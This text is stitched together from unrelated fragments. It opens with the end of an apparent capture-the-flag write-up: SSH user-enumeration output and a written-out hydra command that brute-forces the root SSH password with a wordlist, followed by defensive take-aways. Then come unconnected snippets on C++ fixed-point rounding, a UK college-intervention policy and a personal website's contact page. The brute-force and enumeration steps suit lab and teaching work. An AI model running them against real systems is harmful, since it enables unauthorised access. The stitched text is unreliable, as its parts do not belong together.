[-] <IP_ADDRESS>:22 - SSH - User 'rpcuser' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rtkit' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rwhod' not found
[-] <IP_ADDRESS>:22 - SSH - User 'saned' not found
[-] <IP_ADDRESS>:22 - SSH - User 'service' not found
[-] <IP_ADDRESS>:22 - SSH - User 'setroubleshoot' not found
[-] <IP_ADDRESS>:22 - SSH - User 'setup' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sgiweb' not found
[-] <IP_ADDRESS>:22 - SSH - User 'shutdown' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sigver' not found
[-] <IP_ADDRESS>:22 - SSH - User 'speech-dispatcher' not found
[+] <IP_ADDRESS>:22 - SSH - User 'sshd' found
[-] <IP_ADDRESS>:22 - SSH - User 'sslh' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sssd' not found
[-] <IP_ADDRESS>:22 - SSH - User 'stunnel4' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sym' not found
[-] <IP_ADDRESS>:22 - SSH - User 'symop' not found
[+] <IP_ADDRESS>:22 - SSH - User 'sync' found
[+] <IP_ADDRESS>:22 - SSH - User 'sys' found
[-] <IP_ADDRESS>:22 - SSH - User 'sysadm' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sysadmin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'sysbin' not found
[+] <IP_ADDRESS>:22 - SSH - User 'syslog' found
[-] <IP_ADDRESS>:22 - SSH - User 'system_admin' not found
[+] <IP_ADDRESS>:22 - SSH - User 'systemd-bus-proxy' found
[-] <IP_ADDRESS>:22 - SSH - User 'systemd-coredump' not found
[+] <IP_ADDRESS>:22 - SSH - User 'systemd-network' found
[+] <IP_ADDRESS>:22 - SSH - User 'systemd-resolve' found
[+] <IP_ADDRESS>:22 - SSH - User 'systemd-timesync' found
[-] <IP_ADDRESS>:22 - SSH - User 'tcpdump' not found
[-] <IP_ADDRESS>:22 - SSH - User 'trouble' not found
[-] <IP_ADDRESS>:22 - SSH - User 'tss' not found
[-] <IP_ADDRESS>:22 - SSH - User 'udadmin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'ultra' not found
[-] <IP_ADDRESS>:22 - SSH - User 'umountfs' not found
[-] <IP_ADDRESS>:22 - SSH - User 'umountfsys' not found
[-] <IP_ADDRESS>:22 - SSH - User 'umountsys' not found
[-] <IP_ADDRESS>:22 - SSH - User 'unix' not found
[-] <IP_ADDRESS>:22 - SSH - User 'unscd' not found
[-] <IP_ADDRESS>:22 - SSH - User 'us_admin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'usbmux' not found
[-] <IP_ADDRESS>:22 - SSH - User 'user' not found
[+] <IP_ADDRESS>:22 - SSH - User 'uucp' found
[-] <IP_ADDRESS>:22 - SSH - User 'uucpadm' not found
[+] <IP_ADDRESS>:22 - SSH - User 'uuidd' found
[-] <IP_ADDRESS>:22 - SSH - User 'vagrant' not found
[-] <IP_ADDRESS>:22 - SSH - User 'varnish' not found
[-] <IP_ADDRESS>:22 - SSH - User 'web' not found
[-] <IP_ADDRESS>:22 - SSH - User 'webmaster' not found
[-] <IP_ADDRESS>:22 - SSH - User 'whoopsie' not found
[-] <IP_ADDRESS>:22 - SSH - User 'www' not found
[+] <IP_ADDRESS>:22 - SSH - User 'www-data' found
[-] <IP_ADDRESS>:22 - SSH - User 'xpdb' not found
[-] <IP_ADDRESS>:22 - SSH - User 'xpopr' not found
[-] <IP_ADDRESS>:22 - SSH - User 'zabbix' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Bruteforce
I ran a bruteforce against SSH in background, in case it came up with something (spoiler: it didn’t).
hydra -l root -P /usr/share/dict/rockyou.txt <IP_ADDRESS> -t 4 ssh
-l
is the user to bruteforce-P
is the path to the wordlist-t 4
is the number of tasks
Take-Aways
- We’ve seen how to use Hydra to bruteforce ssh and HTTP POST forms
- Avoid using guessable passwords when you’re an admin
- Avoid using obscure blog engines with published RCEs. I think nibbleblog was EOL’ed, so migrate to another blog engine is the only solution.
- The privesc used a bad configuration of
sudo
allowing the user to run root commands without a password.


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Rounding has emerged as the most contentious and difficult area.
Our starting point has been C++ Binary Fixed-Point Arithmetic N3352 that specifies seven rounding modes. All have some uses and some logic for their inclusion.
Five overflow modes are also specified and this leads to combinatorial explosion, for example, potentially requiring 7 rounding * 5 overflow, a total of 35 specializations of numeric_limits for each fixed_point type! This suggests that the number of rounding and overflow mode should be considered rather carefully to make sure that they are really worthwhile.
So far, only the negatable
class has been implemented, but C++
Binary Fixed-Point Arithmetic N3352 also describes nonegative unsigned
versions (as well as integer-only arithmetic cardinal
and signed integral), potentially at least doubling the code required.
Other libraries are tackling the problem of overflow (and underflow) with integral types in so-called 'safe' integers.
For the rounding mode nearest_even, if the 1/2 Unit in the last place (ULP) bit 1, then the result of any operation that leads to a result in the range [x, x+ 1/2 ULP] would round to x and in the range (x+1/2ULP, x+1) would round to x+1.
If the 1/2 Unit in the last place (ULP) bit is 0, however, then any operation that leads to an intermediate value in the range [x, x+1) would round to x.


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Guidance
Describes how the EFA and SFA will engage with sixth-form colleges and general further education colleges who are at risk of failure.
This policy sets out how the EFA and SFA will engage with sixth-form colleges and general further education colleges, where their financial plans, ongoing indicators or other data sources suggests that there is a risk of failure.
This early engagement will help reduce the risk of a college falling into the scope of formal intervention measures.


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This will mainly focus on my social media or ways to get in contact with me via email. Links to my social media will also be included on my footer with their respective icons.


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